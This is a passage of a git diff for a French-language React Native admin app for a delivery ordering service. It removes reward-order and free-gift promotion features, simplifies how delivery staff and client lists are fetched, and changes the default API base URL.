error: e.response?.data?.error || "Erreur levée du rate limit",
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
export const resetClientReferral = async (
|
||||
username: string,
|
||||
): Promise<{ success: boolean; message?: string }> => {
|
||||
@@ -847,55 +801,6 @@ export const getClientCancelledOrders = async (
|
||||
}
|
||||
};
|
||||
|
||||
export interface RewardOrder {
|
||||
command_id: number;
|
||||
status: string;
|
||||
total: number;
|
||||
created_at: string;
|
||||
items: {
|
||||
produit: string;
|
||||
quantity: number;
|
||||
price: number;
|
||||
reward_pool_key: string;
|
||||
}[];
|
||||
}
|
||||
|
||||
export const getClientRewardOrders = async (
|
||||
username: string,
|
||||
): Promise<{
|
||||
success: boolean;
|
||||
orders: RewardOrder[];
|
||||
redeemed: Record<string, number>;
|
||||
}> => {
|
||||
try {
|
||||
const { data } = await apiClient.get(
|
||||
`${V2}/admin/protected/client/${encodeURIComponent(username)}/rewards/orders`,
|
||||
);
|
||||
return {
|
||||
success: true,
|
||||
orders: data.orders ?? [],
|
||||
redeemed: data.redeemed ?? {},
|
||||
};
|
||||
} catch {
|
||||
return { success: false, orders: [], redeemed: {} };
|
||||
}
|
||||
};
|
||||
|
||||
export const decrementClientRedeemed = async (
|
||||
username: string,
|
||||
poolKey: string,
|
||||
): Promise<{ success: boolean; redeemed?: number; error?: string }> => {
|
||||
try {
|
||||
const { data } = await apiClient.post(
|
||||
`${V2}/admin/protected/client/${encodeURIComponent(username)}/rewards/decrement`,
|
||||
{ pool_key: poolKey },
|
||||
);
|
||||
return { success: true, redeemed: data.redeemed };
|
||||
} catch (e: any) {
|
||||
return { success: false, error: e.response?.data?.error || "Erreur" };
|
||||
}
|
||||
};
|
||||
|
||||
// ============================================
|
||||
// AMENDES & POINTS CLIENT (Admin)
|
||||
// ============================================
|
||||
@@ -1234,23 +1139,6 @@ export interface CategoryPromotionConfig {
|
||||
products: PromotionProductQuantity[]; // produits + quantité individuelle si all_products = false
|
||||
}
|
||||
|
||||
export interface FreeGiftTier {
|
||||
buy_quantity: number; // quantité à acheter pour déclencher l'offre
|
||||
free_quantity: number; // quantité offerte du même produit
|
||||
}
|
||||
|
||||
export interface FreeGiftProductQuantity {
|
||||
product_id: number;
|
||||
tiers: FreeGiftTier[]; // seuils propres à ce produit
|
||||
}
|
||||
|
||||
export interface CategoryFreeGiftConfig {
|
||||
category: string;
|
||||
all_products: boolean;
|
||||
tiers: FreeGiftTier[]; // seuils uniformes si all_products = true
|
||||
products: FreeGiftProductQuantity[]; // produits + seuils individuels si all_products = false
|
||||
}
|
||||
|
||||
export interface PointsPool {
|
||||
key: string;
|
||||
name: string;
|
||||
@@ -1352,8 +1240,6 @@ export interface AppSettings {
|
||||
points_reward?: PointsReward | null;
|
||||
promotions_enabled: boolean;
|
||||
promotions: CategoryPromotionConfig[];
|
||||
free_gifts_enabled: boolean;
|
||||
free_gifts: CategoryFreeGiftConfig[];
|
||||
referral_enabled: boolean;
|
||||
delivery_schedule: DeliverySchedule;
|
||||
postal_zones: PostalZone[];
|
||||
|
||||
@@ -186,35 +186,60 @@ export const getAllDeliveryPersonsWithDetails = async (): Promise<{
|
||||
stats: DeliveryPersonsStats;
|
||||
}> => {
|
||||
try {
|
||||
// Le backend renvoie désormais statut/position/compteurs déjà
|
||||
// enrichis pour tous les livreurs en un seul appel (voir
|
||||
// GetDeliveryPersonsDetailsBatch côté backend) : plus besoin d'un
|
||||
// aller-retour /delivery-persons/:username par livreur ici.
|
||||
const { data } = await apiClient.get(`${API}/all/deliveryman`);
|
||||
const users = data.users || [];
|
||||
|
||||
const enriched: DeliveryPerson[] = users.map(
|
||||
(u: any): DeliveryPerson => {
|
||||
const parsedStatus = parseStatus(u.status);
|
||||
const hasLoc = u.location?.latitude && u.location?.longitude;
|
||||
return {
|
||||
id: u.id,
|
||||
username: u.username,
|
||||
status: parsedStatus,
|
||||
location: {
|
||||
latitude: hasLoc ? u.location.latitude : 0,
|
||||
longitude: hasLoc ? u.location.longitude : 0,
|
||||
last_update: new Date().toISOString(),
|
||||
is_recent: false,
|
||||
},
|
||||
stats: {
|
||||
total_deliveries: u.total_deliveries || 0,
|
||||
completed_today: u.completed_deliveries || 0,
|
||||
queue_size: u.queue_size || 0,
|
||||
current_command: u.current_command || null,
|
||||
},
|
||||
};
|
||||
},
|
||||
const enriched = await Promise.all(
|
||||
users.map(async (u: any): Promise<DeliveryPerson> => {
|
||||
try {
|
||||
const { data: details } = await apiClient.get(
|
||||
`${API}/delivery-persons/${u.username}`,
|
||||
);
|
||||
const d = details.deliveryman || details;
|
||||
const parsedStatus = parseStatus(d.status);
|
||||
const hasLoc =
|
||||
d.location?.latitude && d.location?.longitude;
|
||||
return {
|
||||
id: u.id,
|
||||
username: u.username,
|
||||
status: parsedStatus,
|
||||
location: {
|
||||
latitude: hasLoc ? d.location.latitude : 0,
|
||||
longitude: hasLoc ? d.location.longitude : 0,
|
||||
last_update: d.location?.last_update
|
||||
? new Date(
|
||||
d.location.last_update * 1000,
|
||||
).toISOString()
|
||||
: new Date().toISOString(),
|
||||
is_recent: d.location?.is_recent || false,
|
||||
},
|
||||
stats: {
|
||||
total_deliveries: d.total_deliveries || 0,
|
||||
completed_today: d.completed_deliveries || 0,
|
||||
queue_size: d.queue_size || 0,
|
||||
current_command: d.current_command || null,
|
||||
},
|
||||
};
|
||||
} catch {
|
||||
return {
|
||||
id: u.id,
|
||||
username: u.username,
|
||||
status: "offline",
|
||||
location: {
|
||||
latitude: 0,
|
||||
longitude: 0,
|
||||
last_update: new Date().toISOString(),
|
||||
is_recent: false,
|
||||
},
|
||||
stats: {
|
||||
total_deliveries: 0,
|
||||
completed_today: 0,
|
||||
queue_size: 0,
|
||||
current_command: null,
|
||||
},
|
||||
};
|
||||
}
|
||||
}),
|
||||
);
|
||||
|
||||
const stats: DeliveryPersonsStats = {
|
||||
@@ -422,23 +447,10 @@ export const getCabineCommands = async (): Promise<{
|
||||
// CLIENTS — CABINE
|
||||
// ============================================
|
||||
|
||||
// Le backend pagine désormais cette route (100 clients par page) ; on boucle
|
||||
// ici pour que l'appelant continue de recevoir la liste complète d'un coup.
|
||||
export const getCabineAllClients = async (): Promise<any[]> => {
|
||||
try {
|
||||
const all: any[] = [];
|
||||
let offset = 0;
|
||||
const limit = 100;
|
||||
while (true) {
|
||||
const { data } = await apiClient.get(`${API}/all/clients`, {
|
||||
params: { limit, offset },
|
||||
});
|
||||
const clients = data.clients || [];
|
||||
all.push(...clients);
|
||||
if (!data.has_more || clients.length === 0) break;
|
||||
offset += clients.length;
|
||||
}
|
||||
return all;
|
||||
const { data } = await apiClient.get(`${API}/all/clients`);
|
||||
return data.clients || [];
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ import axios from "axios";
|
||||
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
||||
|
||||
export const API_BASE_URL =
|
||||
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
|
||||
process.env.EXPO_PUBLIC_API_URL ?? "https://uber-demo.club";
|
||||
|
||||
const apiClient = axios.create({
|
||||
baseURL: API_BASE_URL,
|
||||
|
||||
@@ -31,8 +31,6 @@ export interface ClientResponse {
|
||||
cancellations_count: number;
|
||||
last_penalty_reason?: string;
|
||||
referral_balance?: number;
|
||||
parrain?: string | null;
|
||||
rate_limited?: boolean;
|
||||
}
|
||||
|
||||
export interface CommandResponse {
|
||||
@@ -144,7 +142,6 @@ export interface DeliveryItem {
|
||||
adresse: string;
|
||||
total_prix: number;
|
||||
referral_used?: number;
|
||||
is_new_client?: boolean;
|
||||
created_at: string;
|
||||
updated_at: string;
|
||||
eta?: string;
|
||||
|
||||
@@ -26,6 +26,7 @@ export const getAdminUsername = () => AsyncStorage.getItem(ADMIN_USERNAME_KEY);
|
||||
export const setAdminUsername = (username: string) => AsyncStorage.setItem(ADMIN_USERNAME_KEY, username);
|
||||
export const removeAdminUsername = () => AsyncStorage.removeItem(ADMIN_USERNAME_KEY);
|
||||
|
||||
// Role
|
||||
export const getRole = () => AsyncStorage.getItem(ROLE_KEY);
|
||||
export const setRole = (role: string) => AsyncStorage.setItem(ROLE_KEY, role);
|
||||
export const removeRole = () => AsyncStorage.removeItem(ROLE_KEY);
|
||||
|
||||
@@ -18,7 +18,6 @@ import { useAuth } from "../../auth/AuthContext";
|
||||
import {
|
||||
getAllCommands,
|
||||
getAllClients,
|
||||
getAllUsers,
|
||||
getAvailableDeliveryPersons,
|
||||
getCommandCountByStatus,
|
||||
getAdminTelegramStatus,
|
||||
@@ -47,22 +46,15 @@ export default function DashboardScreen() {
|
||||
|
||||
const loadStats = useCallback(async () => {
|
||||
try {
|
||||
const [allCmd, pending, enRoute, completed, userCounts, livreurs] =
|
||||
const [allCmd, pending, enRoute, completed, clients, livreurs] =
|
||||
await Promise.all([
|
||||
getAllCommands().then((r) => r.count),
|
||||
getCommandCountByStatus("pending"),
|
||||
getCommandCountByStatus("en_route"),
|
||||
getCommandCountByStatus("approved"),
|
||||
// Totaux globaux (toute la base) : on ne charge qu'1 user,
|
||||
// seuls les compteurs nous intéressent.
|
||||
getAllUsers(0, 1)
|
||||
.then(async (r) => ({
|
||||
all: r.counts?.all ?? r.total,
|
||||
client:
|
||||
r.counts?.client ??
|
||||
(await getAllClients(0, 1)).total,
|
||||
}))
|
||||
.catch(() => ({ all: 0, client: 0 })),
|
||||
getAllClients()
|
||||
.then((c) => c.length)
|
||||
.catch(() => 0),
|
||||
getAvailableDeliveryPersons()
|
||||
.then((r) => r.count)
|
||||
.catch(() => 0),
|
||||
@@ -93,15 +85,9 @@ export default function DashboardScreen() {
|
||||
icon: "checkmark-circle-outline",
|
||||
color: colors.success,
|
||||
},
|
||||
{
|
||||
label: "Utilisateurs",
|
||||
value: userCounts.all,
|
||||
icon: "person-outline",
|
||||
color: colors.accent,
|
||||
},
|
||||
{
|
||||
label: "Clients",
|
||||
value: userCounts.client,
|
||||
value: clients,
|
||||
icon: "people-outline",
|
||||
color: colors.accentLight,
|
||||
},
|
||||
|
||||
@@ -73,7 +73,6 @@ export default function OrderDetailScreen() {
|
||||
setCommand(cmdRes.command);
|
||||
setItems(itemsRes.items ?? []);
|
||||
|
||||
// If livreur assigned, fetch their location and calc route
|
||||
const cmd = cmdRes.command;
|
||||
if (cmd?.livreur_assign && cmd?.adresse) {
|
||||
loadLivreurRoute(cmd.livreur_assign, cmd.adresse);
|
||||
|
||||
@@ -23,7 +23,6 @@ import {
|
||||
getAllProductsAdmin,
|
||||
createProductAdmin,
|
||||
updateProductAdmin,
|
||||
updateProductStockAdmin,
|
||||
deleteProductAdmin,
|
||||
uploadProductMediaAdmin,
|
||||
deleteProductMediaAdmin,
|
||||
@@ -335,20 +334,16 @@ export default function ProductsScreen() {
|
||||
}
|
||||
}
|
||||
|
||||
// 2) Update product fields (sans le stock : il n'écrase pas les ventes en cours)
|
||||
// 2) Update product fields
|
||||
await updateProductAdmin(editingProduct.id, {
|
||||
name: form.name.trim(),
|
||||
category: form.category,
|
||||
description: form.description.trim(),
|
||||
stock: parseFloat(form.stock),
|
||||
unit: form.unit,
|
||||
prices,
|
||||
coming_soon: form.comingSoon,
|
||||
});
|
||||
|
||||
const newStock = parseFloat(form.stock);
|
||||
if (newStock !== editingProduct.stock) {
|
||||
await updateProductStockAdmin(editingProduct.id, newStock);
|
||||
}
|
||||
productId = editingProduct.id;
|
||||
} else {
|
||||
// ✅ FIX : Création avec FormData au bon format pour le backend Go
|
||||
|
||||
@@ -17,7 +17,7 @@ import { Ionicons } from "@expo/vector-icons";
|
||||
import { spacing, fontSize, borderRadius } from "../../theme";
|
||||
import { useTheme } from "../../context/ThemeContext";
|
||||
import { getSettings, updateSettings, getCategories, getAvailableDeliveryPersons, getAllProductsAdmin, DEFAULT_DELIVERY_SCHEDULE, DEFAULT_POSTAL_ZONES } from "../../api/api_admin";
|
||||
import type { AppSettings, Category, CategoryRoute, DeliveryModeConfig, PointsTier, PointsPool, PointsReward, RewardCategoryConfig, CategoryPromotionConfig, CategoryFreeGiftConfig, FreeGiftProductQuantity, FreeGiftTier, DaySchedule, DeliverySchedule, PostalZone } from "../../api/api_admin";
|
||||
import type { AppSettings, Category, CategoryRoute, DeliveryModeConfig, PointsTier, PointsPool, PointsReward, RewardCategoryConfig, CategoryPromotionConfig, DaySchedule, DeliverySchedule, PostalZone } from "../../api/api_admin";
|
||||
import type { Product } from "../../api/types";
|
||||
import AlertModal from "../../components/ui/AlertModal";
|
||||
import { useAlert } from "../../hooks/useAlert";
|
||||
@@ -1161,22 +1161,13 @@ function PromotionProductPicker({
|
||||
});
|
||||
};
|
||||
|
||||
// Chaque produit peut être en promo sur plusieurs paliers de quantité en
|
||||
// même temps (ex: 1g ET 3g) — on ajoute/retire l'entrée {product_id,
|
||||
// quantity} correspondante plutôt que de remplacer une quantité unique.
|
||||
const toggleProductQuantity = (id: number, quantity: number) => {
|
||||
const exists = catConfig.products.some((pq) => pq.product_id === id && pq.quantity === quantity);
|
||||
if (exists) {
|
||||
onChange({
|
||||
...catConfig,
|
||||
products: catConfig.products.filter((pq) => !(pq.product_id === id && pq.quantity === quantity)),
|
||||
});
|
||||
} else {
|
||||
onChange({
|
||||
...catConfig,
|
||||
products: [...catConfig.products, { product_id: id, quantity }],
|
||||
});
|
||||
}
|
||||
const updateProductQuantity = (id: number, quantity: number) => {
|
||||
onChange({
|
||||
...catConfig,
|
||||
products: catConfig.products.map((pq) =>
|
||||
pq.product_id === id ? { ...pq, quantity } : pq
|
||||
),
|
||||
});
|
||||
};
|
||||
|
||||
return (
|
||||
@@ -1236,9 +1227,8 @@ function PromotionProductPicker({
|
||||
</View>
|
||||
)}
|
||||
|
||||
{/* Mode "Sélection" : chaque produit choisi peut être en promo sur
|
||||
plusieurs paliers de quantité à la fois, via les paliers de
|
||||
prix réels du produit (pas de saisie libre) */}
|
||||
{/* Mode "Sélection" : chaque produit choisi a sa propre quantité,
|
||||
via les paliers de prix réels du produit (pas de saisie libre) */}
|
||||
{!catConfig.all_products && (
|
||||
<View style={{ gap: spacing.xs }}>
|
||||
{catProducts.length === 0 ? (
|
||||
@@ -1273,16 +1263,13 @@ function PromotionProductPicker({
|
||||
|
||||
{catConfig.products.length > 0 && (
|
||||
<View style={{ gap: spacing.s, marginTop: spacing.xs }}>
|
||||
{Array.from(new Set(catConfig.products.map((pq) => pq.product_id))).map((productId) => {
|
||||
const prod = catProducts.find((p) => p.id === productId);
|
||||
{catConfig.products.map((pq) => {
|
||||
const prod = catProducts.find((p) => p.id === pq.product_id);
|
||||
const tiers = (prod?.prices ?? []).filter((pr) => pr.active_price !== false);
|
||||
const selectedQuantities = catConfig.products
|
||||
.filter((pq) => pq.product_id === productId)
|
||||
.map((pq) => pq.quantity);
|
||||
return (
|
||||
<View key={productId} style={{ gap: 4 }}>
|
||||
<View key={pq.product_id} style={{ gap: 4 }}>
|
||||
<Text style={{ fontSize: 12, color: colors.textMuted }} numberOfLines={1}>
|
||||
{prod?.name ?? `Produit #${productId}`}
|
||||
{prod?.name ?? `Produit #${pq.product_id}`}
|
||||
</Text>
|
||||
<View style={{ flexDirection: "row", flexWrap: "wrap", gap: 4 }}>
|
||||
{tiers.length === 0 ? (
|
||||
@@ -1290,11 +1277,11 @@ function PromotionProductPicker({
|
||||
Aucun palier de prix actif pour ce produit
|
||||
</Text>
|
||||
) : tiers.map((tier) => {
|
||||
const isSel = selectedQuantities.includes(tier.quantity);
|
||||
const isSel = pq.quantity === tier.quantity;
|
||||
return (
|
||||
<TouchableOpacity
|
||||
key={tier.quantity}
|
||||
onPress={() => toggleProductQuantity(productId, tier.quantity)}
|
||||
onPress={() => updateProductQuantity(pq.product_id, tier.quantity)}
|
||||
style={{
|
||||
paddingHorizontal: spacing.s, paddingVertical: 3,
|
||||
borderRadius: borderRadius.sm, borderWidth: 1.5,
|
||||
@@ -1520,405 +1507,6 @@ function PromotionsSection({
|
||||
);
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
// Offres "achetez X, Y offert" — quantité supplémentaire du même
|
||||
// produit livrée gratuitement dès qu'un seuil d'achat est atteint,
|
||||
// indépendant des points et des promotions (cumulable avec elles).
|
||||
// Plusieurs seuils peuvent coexister sur un même produit (ex: 10g→+1g,
|
||||
// 20g→+3g) : le seuil le plus élevé atteint par la commande est retenu.
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
const FREEGIFT_ACCENT = "#f59e0b";
|
||||
|
||||
function FreeGiftTierListEditor({
|
||||
tiers,
|
||||
onChange,
|
||||
colors,
|
||||
s,
|
||||
}: {
|
||||
tiers: FreeGiftTier[];
|
||||
onChange: (tiers: FreeGiftTier[]) => void;
|
||||
colors: any;
|
||||
s: any;
|
||||
}) {
|
||||
const updateTier = (idx: number, patch: Partial<FreeGiftTier>) => {
|
||||
onChange(tiers.map((t, i) => (i === idx ? { ...t, ...patch } : t)));
|
||||
};
|
||||
const removeTier = (idx: number) => {
|
||||
onChange(tiers.filter((_, i) => i !== idx));
|
||||
};
|
||||
const addTier = () => {
|
||||
onChange([...tiers, { buy_quantity: 0, free_quantity: 0 }]);
|
||||
};
|
||||
|
||||
return (
|
||||
<View style={{ gap: spacing.xs }}>
|
||||
{tiers.map((t, idx) => (
|
||||
<View key={idx} style={{ flexDirection: "row", alignItems: "center", gap: spacing.xs }}>
|
||||
<Text style={{ fontSize: 11, color: colors.textMuted }}>Acheté :</Text>
|
||||
<TextInput
|
||||
style={[s.thresholdInput, { width: 50, fontSize: 12 }]}
|
||||
keyboardType="decimal-pad"
|
||||
value={t.buy_quantity > 0 ? String(t.buy_quantity) : ""}
|
||||
onChangeText={(v) => {
|
||||
const n = parseFloat(v);
|
||||
updateTier(idx, { buy_quantity: isNaN(n) ? 0 : n });
|
||||
}}
|
||||
placeholder="10"
|
||||
placeholderTextColor={colors.textMuted}
|
||||
/>
|
||||
<Ionicons name="arrow-forward" size={12} color={colors.textMuted} />
|
||||
<Text style={{ fontSize: 11, color: colors.textMuted }}>Offert :</Text>
|
||||
<TextInput
|
||||
style={[s.thresholdInput, { width: 50, fontSize: 12 }]}
|
||||
keyboardType="decimal-pad"
|
||||
value={t.free_quantity > 0 ? String(t.free_quantity) : ""}
|
||||
onChangeText={(v) => {
|
||||
const n = parseFloat(v);
|
||||
updateTier(idx, { free_quantity: isNaN(n) ? 0 : n });
|
||||
}}
|
||||
placeholder="1"
|
||||
placeholderTextColor={colors.textMuted}
|
||||
/>
|
||||
<TouchableOpacity onPress={() => removeTier(idx)} hitSlop={8}>
|
||||
<Ionicons name="trash-outline" size={15} color={colors.danger ?? "#ef4444"} />
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
))}
|
||||
<TouchableOpacity
|
||||
onPress={addTier}
|
||||
style={{ flexDirection: "row", alignItems: "center", gap: 4, alignSelf: "flex-start", marginTop: 2 }}
|
||||
>
|
||||
<Ionicons name="add-circle-outline" size={14} color={FREEGIFT_ACCENT} />
|
||||
<Text style={{ fontSize: 12, color: FREEGIFT_ACCENT, fontWeight: "600" }}>Ajouter un seuil</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
);
|
||||
}
|
||||
|
||||
function FreeGiftProductPicker({
|
||||
catConfig,
|
||||
products,
|
||||
onChange,
|
||||
colors,
|
||||
s,
|
||||
}: {
|
||||
catConfig: CategoryFreeGiftConfig;
|
||||
products: Product[];
|
||||
onChange: (cfg: CategoryFreeGiftConfig) => void;
|
||||
colors: any;
|
||||
s: any;
|
||||
}) {
|
||||
const catProducts = products.filter((p) => p.category === catConfig.category);
|
||||
|
||||
const toggleProduct = (id: number) => {
|
||||
const exists = catConfig.products.some((pq) => pq.product_id === id);
|
||||
if (exists) {
|
||||
onChange({ ...catConfig, products: catConfig.products.filter((pq) => pq.product_id !== id), all_products: false });
|
||||
return;
|
||||
}
|
||||
onChange({
|
||||
...catConfig,
|
||||
products: [...catConfig.products, { product_id: id, tiers: [{ buy_quantity: 0, free_quantity: 0 }] }],
|
||||
all_products: false,
|
||||
});
|
||||
};
|
||||
|
||||
const updateProductTiers = (id: number, tiers: FreeGiftTier[]) => {
|
||||
onChange({
|
||||
...catConfig,
|
||||
products: catConfig.products.map((pq) => (pq.product_id === id ? { ...pq, tiers } : pq)),
|
||||
});
|
||||
};
|
||||
|
||||
return (
|
||||
<View style={{ marginTop: spacing.s, paddingLeft: spacing.m, gap: spacing.s }}>
|
||||
{/* Toggle tous / sélection */}
|
||||
<View style={{ flexDirection: "row", gap: spacing.s }}>
|
||||
<TouchableOpacity
|
||||
onPress={() => onChange({ ...catConfig, all_products: true, products: [] })}
|
||||
style={{
|
||||
flexDirection: "row", alignItems: "center", gap: spacing.xs,
|
||||
paddingHorizontal: spacing.m, paddingVertical: spacing.xs,
|
||||
borderRadius: borderRadius.full, borderWidth: 1.5,
|
||||
borderColor: catConfig.all_products ? FREEGIFT_ACCENT : colors.border,
|
||||
backgroundColor: catConfig.all_products ? FREEGIFT_ACCENT + "22" : "transparent",
|
||||
}}
|
||||
>
|
||||
<Ionicons name="checkmark-done-outline" size={13} color={catConfig.all_products ? FREEGIFT_ACCENT : colors.textMuted} />
|
||||
<Text style={{ fontSize: 12, fontWeight: catConfig.all_products ? "700" : "400", color: catConfig.all_products ? FREEGIFT_ACCENT : colors.textMuted }}>
|
||||
Tous ({catProducts.length})
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
<TouchableOpacity
|
||||
onPress={() => onChange({ ...catConfig, all_products: false })}
|
||||
style={{
|
||||
flexDirection: "row", alignItems: "center", gap: spacing.xs,
|
||||
paddingHorizontal: spacing.m, paddingVertical: spacing.xs,
|
||||
borderRadius: borderRadius.full, borderWidth: 1.5,
|
||||
borderColor: !catConfig.all_products ? FREEGIFT_ACCENT : colors.border,
|
||||
backgroundColor: !catConfig.all_products ? FREEGIFT_ACCENT + "22" : "transparent",
|
||||
}}
|
||||
>
|
||||
<Ionicons name="list-outline" size={13} color={!catConfig.all_products ? FREEGIFT_ACCENT : colors.textMuted} />
|
||||
<Text style={{ fontSize: 12, fontWeight: !catConfig.all_products ? "700" : "400", color: !catConfig.all_products ? FREEGIFT_ACCENT : colors.textMuted }}>
|
||||
Sélection
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
{/* Mode "Tous" : seuils uniformes pour tous les produits de la catégorie */}
|
||||
{catConfig.all_products && (
|
||||
<View>
|
||||
<Text style={{ fontSize: 11, color: colors.textMuted, fontStyle: "italic", marginBottom: 4 }}>
|
||||
Les quantités achetées doivent correspondre à des paliers de prix existants
|
||||
</Text>
|
||||
<FreeGiftTierListEditor
|
||||
tiers={catConfig.tiers}
|
||||
onChange={(tiers) => onChange({ ...catConfig, tiers })}
|
||||
colors={colors}
|
||||
s={s}
|
||||
/>
|
||||
</View>
|
||||
)}
|
||||
|
||||
{/* Mode "Sélection" : chaque produit choisi a ses propres seuils */}
|
||||
{!catConfig.all_products && (
|
||||
<View style={{ gap: spacing.xs }}>
|
||||
{catProducts.length === 0 ? (
|
||||
<Text style={{ fontSize: 12, color: colors.textMuted, fontStyle: "italic" }}>
|
||||
Aucun produit dans cette catégorie
|
||||
</Text>
|
||||
) : (
|
||||
<View style={{ flexDirection: "row", flexWrap: "wrap", gap: spacing.xs }}>
|
||||
{catProducts.map((p) => {
|
||||
const sel = catConfig.products.some((pq) => pq.product_id === p.id);
|
||||
return (
|
||||
<TouchableOpacity
|
||||
key={p.id}
|
||||
onPress={() => toggleProduct(p.id)}
|
||||
style={{
|
||||
paddingHorizontal: spacing.s, paddingVertical: 4,
|
||||
borderRadius: borderRadius.sm, borderWidth: 1.5,
|
||||
borderColor: sel ? FREEGIFT_ACCENT : colors.border,
|
||||
backgroundColor: sel ? FREEGIFT_ACCENT + "22" : "transparent",
|
||||
flexDirection: "row", alignItems: "center", gap: 4,
|
||||
}}
|
||||
>
|
||||
{sel && <Ionicons name="checkmark" size={11} color={FREEGIFT_ACCENT} />}
|
||||
<Text style={{ fontSize: 12, fontWeight: sel ? "700" : "400", color: sel ? FREEGIFT_ACCENT : colors.textMuted }}>
|
||||
{p.name}
|
||||
</Text>
|
||||
</TouchableOpacity>
|
||||
);
|
||||
})}
|
||||
</View>
|
||||
)}
|
||||
|
||||
{catConfig.products.length > 0 && (
|
||||
<View style={{ gap: spacing.s, marginTop: spacing.xs }}>
|
||||
{catConfig.products.map((pq) => {
|
||||
const prod = catProducts.find((p) => p.id === pq.product_id);
|
||||
return (
|
||||
<View key={pq.product_id} style={{ gap: 4 }}>
|
||||
<Text style={{ fontSize: 12, color: colors.textMuted }} numberOfLines={1}>
|
||||
{prod?.name ?? `Produit #${pq.product_id}`}
|
||||
</Text>
|
||||
<FreeGiftTierListEditor
|
||||
tiers={pq.tiers}
|
||||
onChange={(tiers) => updateProductTiers(pq.product_id, tiers)}
|
||||
colors={colors}
|
||||
s={s}
|
||||
/>
|
||||
</View>
|
||||
);
|
||||
})}
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
)}
|
||||
</View>
|
||||
);
|
||||
}
|
||||
|
||||
function FreeGiftsSection({
|
||||
enabled,
|
||||
freeGifts,
|
||||
allCategories,
|
||||
productsByCategory,
|
||||
onToggle,
|
||||
onChangeFreeGifts,
|
||||
colors,
|
||||
s,
|
||||
}: {
|
||||
enabled: boolean;
|
||||
freeGifts: CategoryFreeGiftConfig[];
|
||||
allCategories: Category[];
|
||||
productsByCategory: Record<string, Product[]>;
|
||||
onToggle: (v: boolean) => void;
|
||||
onChangeFreeGifts: (freeGifts: CategoryFreeGiftConfig[]) => void;
|
||||
colors: any;
|
||||
s: any;
|
||||
}) {
|
||||
const getCatConfig = (catName: string): CategoryFreeGiftConfig =>
|
||||
freeGifts.find((g) => g.category === catName) ??
|
||||
{ category: catName, all_products: true, tiers: [], products: [] };
|
||||
|
||||
const isCatSelected = (catName: string) => freeGifts.some((g) => g.category === catName);
|
||||
|
||||
const toggleCategory = (catName: string) => {
|
||||
if (isCatSelected(catName)) {
|
||||
onChangeFreeGifts(freeGifts.filter((g) => g.category !== catName));
|
||||
} else {
|
||||
onChangeFreeGifts([...freeGifts, { category: catName, all_products: true, tiers: [], products: [] }]);
|
||||
}
|
||||
};
|
||||
|
||||
const updateCatConfig = (cfg: CategoryFreeGiftConfig) => {
|
||||
onChangeFreeGifts(freeGifts.map((g) => (g.category === cfg.category ? cfg : g)));
|
||||
};
|
||||
|
||||
const [expandedCats, setExpandedCats] = useState<Set<string>>(new Set());
|
||||
const toggleExpanded = (catName: string) => {
|
||||
setExpandedCats((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (next.has(catName)) next.delete(catName); else next.add(catName);
|
||||
return next;
|
||||
});
|
||||
};
|
||||
|
||||
const countTiers = (cfg: CategoryFreeGiftConfig) =>
|
||||
cfg.all_products ? cfg.tiers.length : cfg.products.reduce((sum, pq) => sum + pq.tiers.length, 0);
|
||||
|
||||
const badge = (
|
||||
<View style={{
|
||||
paddingHorizontal: spacing.s, paddingVertical: 2, borderRadius: 10,
|
||||
backgroundColor: enabled ? FREEGIFT_ACCENT + "25" : colors.border + "40",
|
||||
borderWidth: 1, borderColor: enabled ? FREEGIFT_ACCENT : colors.border,
|
||||
}}>
|
||||
<Text style={{ fontSize: 10, fontWeight: "700", color: enabled ? FREEGIFT_ACCENT : colors.textMuted }}>
|
||||
{enabled ? "Activées" : "Désactivées"}
|
||||
</Text>
|
||||
</View>
|
||||
);
|
||||
|
||||
return (
|
||||
<AccordionSection title="Offres quantité offerte" badge={badge} colors={colors} s={s}>
|
||||
<View style={[s.row, s.rowFirst]}>
|
||||
<View style={s.rowLeft}>
|
||||
<Text style={s.rowLabel}>Offres activées</Text>
|
||||
<Text style={s.rowDesc}>
|
||||
Quantité supplémentaire du même produit livrée gratuitement dès qu'un seuil d'achat est atteint (ex: 10g achetés → 1g offert) — indépendant des points et des promotions, cumulable avec elles.
|
||||
</Text>
|
||||
</View>
|
||||
<Switch
|
||||
value={enabled}
|
||||
onValueChange={onToggle}
|
||||
trackColor={{ false: colors.border, true: FREEGIFT_ACCENT }}
|
||||
thumbColor="#fff"
|
||||
/>
|
||||
</View>
|
||||
|
||||
{enabled && (
|
||||
<View style={{ borderTopWidth: 1, borderTopColor: colors.border, paddingHorizontal: spacing.l, paddingTop: spacing.l, paddingBottom: spacing.l, gap: spacing.l }}>
|
||||
<View>
|
||||
<Text style={[s.rowLabel, { marginBottom: spacing.xs }]}>Catégories concernées</Text>
|
||||
<Text style={[s.rowDesc, { marginBottom: spacing.m }]}>
|
||||
Sélectionnez une catégorie, puis tous les produits ou une sélection, avec un ou plusieurs seuils achat/offert par produit.
|
||||
</Text>
|
||||
{allCategories.length === 0 ? (
|
||||
<Text style={[s.hint, { paddingHorizontal: 0 }]}>Aucune catégorie disponible</Text>
|
||||
) : (
|
||||
<View style={{ gap: spacing.m }}>
|
||||
{allCategories.map((cat) => {
|
||||
const selected = isCatSelected(cat.name);
|
||||
const expanded = expandedCats.has(cat.name);
|
||||
const catColor = cat.color || FREEGIFT_ACCENT;
|
||||
const cfg = getCatConfig(cat.name);
|
||||
return (
|
||||
<View key={cat.name}>
|
||||
<TouchableOpacity
|
||||
onPress={() => toggleExpanded(cat.name)}
|
||||
style={{
|
||||
flexDirection: "row", alignItems: "center", gap: spacing.xs,
|
||||
alignSelf: "flex-start",
|
||||
paddingHorizontal: spacing.m, paddingVertical: spacing.s,
|
||||
borderRadius: borderRadius.full, borderWidth: 1.5,
|
||||
borderColor: selected ? catColor : colors.border,
|
||||
backgroundColor: selected ? catColor + "22" : "transparent",
|
||||
}}
|
||||
>
|
||||
